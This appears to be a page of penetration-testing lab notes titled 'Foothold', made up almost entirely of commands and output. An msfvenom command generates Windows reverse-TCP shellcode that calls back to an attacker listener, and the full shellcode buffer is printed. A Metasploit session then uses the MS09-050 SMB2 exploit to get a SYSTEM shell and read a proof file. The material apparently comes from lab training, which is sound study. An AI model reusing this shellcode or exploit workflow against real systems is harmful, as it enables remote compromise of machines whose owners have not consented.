Foothold

Last updated 8 months ago

$ msfvenom -p windows/shell/reverse_tcp LHOST=192.168.45.204 LPORT=443 EXITFUNC=thread -f python [-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload [-] No arch selected, selecting arch: x86 from the payload No encoder specified, outputting raw payload Payload size: 375 bytes Final size of python file: 1863 bytes buf = b"" buf += b"\xfc\xe8\x8f\x00\x00\x00\x60\x89\xe5\x31\xd2\x64" buf += b"\x8b\x52\x30\x8b\x52\x0c\x8b\x52\x14\x0f\xb7\x4a" buf += b"\x26\x8b\x72\x28\x31\xff\x31\xc0\xac\x3c\x61\x7c" buf += b"\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\x49\x75\xef\x52" buf += b"\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78" buf += b"\x85\xc0\x74\x4c\x01\xd0\x50\x8b\x48\x18\x8b\x58" buf += b"\x20\x01\xd3\x85\xc9\x74\x3c\x49\x8b\x34\x8b\x31" buf += b"\xff\x01\xd6\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38" buf += b"\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe0\x58" buf += b"\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c" buf += b"\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b" buf += b"\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b\x12" buf += b"\xe9\x80\xff\xff\xff\x5d\x68\x33\x32\x00\x00\x68" buf += b"\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\x89\xe8" buf += b"\xff\xd0\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68" buf += b"\x29\x80\x6b\x00\xff\xd5\x6a\x0a\x68\xc0\xa8\x2d" buf += b"\xcc\x68\x02\x00\x01\xbb\x89\xe6\x50\x50\x50\x50" buf += b"\x40\x50\x40\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x97" buf += b"\x6a\x10\x56\x57\x68\x99\xa5\x74\x61\xff\xd5\x85" buf += b"\xc0\x74\x0a\xff\x4e\x08\x75\xec\xe8\x67\x00\x00" buf += b"\x00\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f" buf += b"\xff\xd5\x83\xf8\x00\x7e\x36\x8b\x36\x6a\x40\x68" buf += b"\x00\x10\x00\x00\x56\x6a\x00\x68\x58\xa4\x53\xe5" buf += b"\xff\xd5\x93\x53\x6a\x00\x56\x53\x57\x68\x02\xd9" buf += b"\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x28\x58\x68\x00" buf += b"\x40\x00\x00\x6a\x00\x50\x68\x0b\x2f\x0f\x30\xff" buf += b"\xd5\x57\x68\x75\x6e\x4d\x61\xff\xd5\x5e\x5e\xff" buf += b"\x0c\x24\x0f\x85\x70\xff\xff\xff\xe9\x9b\xff\xff" buf += b"\xff\x01\xc3\x29\xc6\x75\xc1\xc3\xbb\xe0\x1d\x2a" buf += b"\x0a\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a" buf += b"\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00" buf += b"\x53\xff\xd5"

msf6 > search ms09-050 Matching Modules ================ # Name Disclosure Date Rank Check Description - ---- --------------- ---- ----- ----------- 0 exploit/windows/smb/ms09_050_smb2_negotiate_func_index 2009-09-07 good No MS09-050 Microsoft SRV2.SYS SMB Negotiate ProcessID Function Table Dereference 1 auxiliary/dos/windows/smb/ms09_050_smb2_negotiate_pidhigh . normal No Microsoft SRV2.SYS SMB Negotiate ProcessID Function Table Dereference 2 auxiliary/dos/windows/smb/ms09_050_smb2_session_logoff . normal No Microsoft SRV2.SYS SMB2 Logoff Remote Kernel NULL Pointer Dereference Interact with a module by name or index. For example info 2, use 2 or use auxiliary/dos/windows/smb/ms09_050_smb2_session_logoff msf6 > use 0 [*] No payload configured, defaulting to windows/meterpreter/reverse_tcp

meterpreter > shell Process 2280 created. Channel 1 created. Microsoft Windows [Version 6.0.6001] Copyright (c) 2006 Microsoft Corporation. All rights reserved. C:\Windows\system32>whoami whoami nt authority\system C:\Windows\system32>type C:\Users\Administrator\Desktop\proof.txt type C:\Users\Administrator\Desktop\proof.txt d37f990ad40d613a70c581b7be55a421 C:\Windows\system32>ipconfig ipconfig Windows IP Configuration Ethernet adapter Ethernet0: Connection-specific DNS Suffix . : IPv4 Address. . . . . . . . . . . : 192.168.172.40 Subnet Mask . . . . . . . . . . . : 255.255.255.0 Default Gateway . . . . . . . . . : 192.168.172.254 Tunnel adapter Local Area Connection*: Media State . . . . . . . . . . . : Media disconnected Connection-specific DNS Suffix . : Tunnel adapter Local Area Connection* 9: Media State . . . . . . . . . . . : Media disconnected Connection-specific DNS Suffix . : C:\Windows\system32>